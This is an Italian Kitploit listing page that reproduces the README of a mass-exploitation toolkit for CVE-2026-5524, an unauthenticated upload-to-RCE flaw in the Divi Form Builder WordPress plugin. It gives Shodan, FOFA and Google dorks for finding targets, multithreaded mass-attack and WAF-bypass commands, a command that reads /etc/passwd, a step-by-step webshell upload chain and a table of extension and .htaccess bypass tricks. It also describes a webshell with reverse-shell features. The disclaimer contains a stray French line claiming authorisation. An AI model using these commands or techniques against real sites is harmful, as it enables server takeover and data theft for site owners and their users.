Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5524-PoC — Toolkit di exploit di massa per CVE-2026-5524, un upload di file non autenticato RCE in Divi Form Builder. Caratteristiche: scansione multi-thread, tecniche di bypass WAF, implementazione di webshell personalizzata ed esecuzione interattiva di comandi. | Kitploit
Strumenti/GitHubGitHub/caterscam/cve-2026-5524-poc
RicognizioneScanner di VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebRaccolta InformazioniBypass WAFPenetration TestingCommand and Control

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Red Teaming
Sviluppo Payload
GitHubcaterscam/cve-2026-5524-poc

CVE-2026-5524-PoC

Toolkit di exploit di massa per CVE-2026-5524, un upload di file non autenticato RCE in Divi Form Builder. Caratteristiche: scansione multi-thread, tecniche di bypass WAF, implementazione di webshell personalizzata ed esecuzione interattiva di comandi.

Vedi Repository
1142 mesi faNon ancora revisionato
Condividi

CVE-2026-5524 — Divi Form Builder RCE non autenticato

Toolkit di sfruttamento di massa per CVE-2026-5524, una vulnerabilità di caricamento file arbitrario non autenticato nel plugin WordPress Divi Form Builder <= 5.1.8 che porta all'esecuzione di codice in remoto.

version Devon Aji python telegram

CampoValore
CVE2026-5524
CVSS9.8 (Critico)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Versione interessataDivi Form Builder <= 5.1.8
Versione corretta5.1.9
TipoCaricamento file non autenticato a RCE
Ricercatore0xd4rk5id3 - EnvoraSec

Contenuti

  • Descrizione
  • Dorks
  • Installazione
  • Utilizzo
    • Singolo target
    • Sfruttamento di massa
    • Bypass avanzato
    • Esecuzione di comandi
  • Dettagli della vulnerabilità
  • Tecniche di bypass
  • Stack tecnologico
  • Struttura del progetto
  • Flusso dell'attacco
  • Esclusione di responsabilità

Descrizione

Il plugin Divi Form Builder per WordPress contiene una vulnerabilità di caricamento file arbitrario non autenticato. Il gestore do_image_upload() passa direttamente il parametro POST acceptFileTypes controllato dall'utente in un'espressione regolare utilizzata per convalidare le estensioni dei file. Fornendo un valore come phtml, un attaccante può bypassare la regola .htaccess del plugin che blocca solo l'estensione .php e caricare una webshell con un'estensione eseguibile da PHP (.phtml, .phar, .php5, .php7 e simili).

Una volta che il file finisce in /wp-content/uploads/de_fb_uploads/, Apache lo esegue come PHP, concedendo all'attaccante l'esecuzione di codice in remoto come utente del server web.

Il problema è risolto in Divi Form Builder 5.1.9.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Installazione

Requisiti: Python 3.8 o successivo su Linux, macOS o WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Utilizzo

Singolo target

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Sfruttamento di massa

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Bypass avanzato

Per target dietro un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configurazione Apache o nginx irrobustita.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Esecuzione di comandi

Dopo un caricamento riuscito, lo script può eseguire immediatamente un comando o avviare una shell interattiva.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flags

FlagDescrizione
-u URLURL singolo target
-l FILEFile contenente la lista di target, un URL per riga
-t NNumero di thread concorrenti (default 10)
--timeout NTimeout della richiesta in secondi (default 15)
-o FILESalva i risultati in un file di output JSONL
--proxy URLInstrada il traffico attraverso un proxy HTTP
--nonce HASHUsa un nonce fornito manualmente, salta il rilevamento automatico
--ext EXTForza una singola estensione invece dell'elenco completo di bypass
--shellAvvia una shell RCE interattiva in caso di successo (solo singolo target)
--cmd CMDEsegue un comando sul target poi esce
--shell-file FILECarica un payload shell personalizzato invece di quello integrato
--no-verifySalta la verifica RCE post-caricamento
--strict-verifyConferma che l'URL della shell restituisca HTTP 200 per filtrare falsi positivi
--user-iniCarica un dropper .user.ini per ambienti PHP-FPM
--htaccessCarica un riattivatore .htaccess per ambienti Apache
--aggressiveAbilita ogni tecnica di bypass disponibile
--null-byteInclude tentativi di byte nullo e doppia estensione
--path-traversalProva a caricare nelle sottodirectory /uploads/YYYY/MM/
--debugStampa le risposte HTTP grezze per la diagnosi

Dettagli della vulnerabilità

Codice vulnerabile

Il gestore vulnerabile costruisce una regex a partire dall'input utente senza sanificazione.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Inviando acceptFileTypes=phtml, la regex risultante /\.(phtml)$/i corrisponde a nomi di file che terminano con .phtml, anche se il file .htaccess del plugin blocca solo l'estensione .php. Apache esegue quindi il file caricato come PHP, producendo esecuzione di codice in remoto.

Catena d'attacco confermata

  1. Scansiona una pagina che incorpora un modulo Divi Form Builder (/, /contact, /quote, ecc.). Aggiungi un parametro ?nocache=<random> per aggirare Varnish, WP Rocket e altre cache di pagina che altrimenti servirebbero un nonce obsoleto.

  2. Estrai il valore fb_nonce dall'oggetto JavaScript localizzato:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 caratteri esadecimali>", ...}
    
  3. Invia un POST multipart a /wp-admin/admin-ajax.php con:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Leggi l'URL del file dalla risposta JSON:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Richiedi la shell con un comando codificato in base64:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Tecniche di bypass

#TecnicaTarget
1Estensioni PHP alternative .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlRegola .htaccess del plugin che blocca solo .php
2Variazione maiuscole/minuscole .PHTML, .PHP5, .PhTmLFirme WAF sensibili alle maiuscole (NinjaFirewall)
3Doppia estensione .phtml.jpg, .php.jpgStranezze di content-negotiation di Apache mod_mime
4Byte nullo .php%00.jpg, .phtml%00.txtVersioni PHP vecchie (inferiori a 5.3.4) e alcuni parser
5Spazio o punto finale .php , .php.Windows IIS e versioni Apache più vecchie
6Spoofing del Content-Type application/octet-streamWAF che si basano sull'header multipart Content-Type
7Carica un vero .htaccess che riabilita PHP per .gif, .png, .jpg, .txt, .html, ecc.Server Apache con AllowOverride All
8Carica un .user.ini con auto_prepend_fileAmbienti PHP-FPM
9Iniezione del nome del file attraverso manipolazione del boundary multipartProxy e WAF che ri-analizzano il corpo della richiesta
10Path traversal ../shell.phtml nel nome del fileRestrizioni di directory del plugin

Lo script prova ogni tecnica in ordine di priorità e, quando è impostato --aggressive, tenta ciascuna anche dopo che il primo upload ha riportato successo.


Stack tecnologico

Script di sfruttamento

ComponenteTecnologia
LinguaggioPython 3.8+
Client HTTPrequests
Gestione TLSurllib3 in modalità non sicura per certificati autofirmati
Concorrenzaconcurrent.futures.ThreadPoolExecutor per scansione di massa
Parsingre per estrazione nonce, json per gestione risposte
Codificabase64 per il parametro del comando webshell
CLIargparse con 19 flag configurabili

Shell personalizzata (bypass.phtml)

ComponenteTecnologia
LinguaggioPHP 7.0+
Funzioni di esecuzionesystem(), shell_exec(), proc_open(), passthru(), popen()
InterfacciaModulo HTML semplice, nessun framework JavaScript
FunzionalitàBrowser file, esecuzione comandi, accesso al database, reverse shell, autoinstallazione di .htaccess e .user.ini
DimensioneCirca 16 KB
Livelli di bypassSei percorsi di esecuzione indipendenti più payload codificati

Struttura del progetto

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Script di sfruttamento principale
|-- bypass.phtml              Webshell PHP multistrato da 16 KB
|-- htaccess_enable.phtml     Dropper che scrive un .htaccess riabilitante
|-- user_ini.phtml            Dropper che scrive un .user.ini per PHP-FPM
|-- targets.txt               Lista di esempio di target
|-- pwned.jsonl               Generato dal flag -o durante scansioni di massa
|-- requirements.txt          Dipendenze Python
`-- README.md                 Questo documento

Flusso dell'attacco

root@kitploit:~
+--------------------------------------------------+
| 1. Ricognizione                                  |
|    GET /?nocache=<random>                        |
|    Analizza fb_nonce da de_fb_obj                |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Crea exploit                                  |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Il server accetta e archivia il file          |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Esecuzione                                    |
|    GET shell.phtml?x=base64(comando)             |
|    Esecuzione di codice in remoto ottenuta       |
+--------------------------------------------------+

Esclusione di responsabilità

Questo strumento è fornito a scopo educativo e per l'uso durante test di penetrazione autorizzati. Esempi di utilizzo accettabile includono:

  • Programmi di bug bounty che autorizzano esplicitamente il test del target
  • Competizioni "Capture the Flag" e ambienti di laboratorio dedicati
  • Valutazioni di sicurezza interne con autorizzazione scritta del proprietario delle risorse
  • Ricerca accademica sulla sicurezza condotta in un ambiente controllato

L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di autorizzazione scritta è illegale in praticamente ogni giurisdizione ed è severamente vietato. L'autore non approva né si assume responsabilità per l'uso improprio di questo codice.

J'ai la permission et je suis autorisé à effectuer ce pentest. (Ho il permesso e sono autorizzato a eseguire questo pentest.)

Leggi potenzialmente rilevanti includono la UU ITE dell'Indonesia, il Computer Fraud and Abuse Act degli Stati Uniti, la Convenzione sul cybercrime dell'Unione Europea e legislazioni equivalenti altrove. In caso di dubbio, ottieni prima un'autorizzazione scritta.


Licenza

Solo per uso educativo. Vedi la sezione di esclusione di responsabilità per i termini completi di utilizzo.

Scarica lo strumento